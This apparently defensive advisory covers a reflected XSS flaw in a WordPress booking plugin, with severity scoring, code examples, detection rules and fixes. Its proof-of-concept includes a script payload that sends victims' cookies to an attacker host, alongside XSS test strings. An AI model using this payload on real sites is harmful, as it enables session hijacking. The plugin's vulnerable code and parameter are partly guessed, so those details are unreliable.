CVE-2025-49904

Executive Summary

CVE-2025-49904 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Booking and Rental Manager for WooCommerce by Magepeopleteam. The vulnerability exists in versions up to and including 2.5.3. An attacker can inject arbitrary JavaScript into a web page via a crafted URL, which executes in the victim's browser when they click the link. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no public exploit code or patch is currently available. The vulnerability is classified under CWE-79.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact may affect other components
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. The vulnerability is easy to exploit (no authentication required) and can be used in phishing campaigns to compromise WordPress admin sessions.

Deep Dive & Mechanics

The vulnerability is a Reflected XSS in the Booking and Rental Manager for WooCommerce plugin. The plugin fails to properly sanitize user-supplied input before including it in a web page response. An attacker can craft a URL containing malicious JavaScript in a parameter (likely s, paged, or a custom query parameter) that is reflected back to the user without proper encoding.

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?page=booking&s=<script>alert('XSS')</script>
2. Victim clicks the link (e.g., via phishing email).
3. The plugin processes the s parameter and reflects it in the HTML response without sanitization.
4. The browser executes the injected script in the context of the victim's session.

Root Cause: The plugin uses echo $_GET['s'] or similar without applying esc_html() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin):

<?php
// In a template file or shortcode handler
$search = $_GET['s'];
echo '<input type="text" value="' . $search . '" />';
?>

Patched Code (hypothetical fix):

<?php
$search = isset($_GET['s']) ? sanitize_text_field($_GET['s']) : '';
echo '<input type="text" value="' . esc_attr($search) . '" />';
?>

The patched version uses sanitize_text_field() to strip tags and esc_attr() to encode output for HTML attributes.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit code is available, the following is a manual PoC:

1. Craft the malicious URL:

   https://target-site.com/?page=booking&s=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Deliver via phishing (email, social media).
3. Victim clicks – the script executes and exfiltrates cookies.

Lab Setup:

• Install WordPress with Booking and Rental Manager <= 2.5.3.
• Use a local web server (e.g., XAMPP) and a browser.
• Test with a simple alert payload: ?s=<script>alert(1)</script>

Blue Team (Detection & Hardening)

• Web Application Firewall (WAF): Block requests containing <script> in query parameters.
• Input Validation: Ensure all user inputs are sanitized with sanitize_text_field() and output encoded with esc_html() or esc_attr().
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
• Monitor Logs: Look for unusual query parameters containing HTML tags.

Indicators of Compromise (IOCs)

• URL Patterns: ?s=<script>, ?page=booking&s=, ?paged=<svg/onload=
• HTTP Request Headers: Referer: https://attacker.com/ (if victim comes from phishing)
• Log Entries: GET /?s=<script>alert(1)</script> with 200 response
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule CVE_2025_49904_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against Booking and Rental Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49904"
    strings:
        $xss1 = /[?&]s=<script>/ nocase
        $xss2 = /[?&]s=<img[^>]+onerror=/ nocase
        $xss3 = /[?&]s=<svg[^>]+onload=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Booking and Rental Manager
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-49904
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '?s=<script>'
            - '?s=<img'
            - '?s=<svg'
    condition: selection
falsepositives:
    - Legitimate use of HTML in search (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-49904 Reflected XSS Attempt"; flow:to_server,established; content:"?s=<script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block reflected XSS patterns.
3. Apply a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self';

Long-term Fix:

• Update to a patched version (when available).
• The vendor should sanitize all $_GET and $_POST parameters using sanitize_text_field() and encode output with esc_html() or esc_attr().

Workaround:

• Use a security plugin like Wordfence to add virtual patching.

Valters IT
Securing WordPress, One Plugin at a Time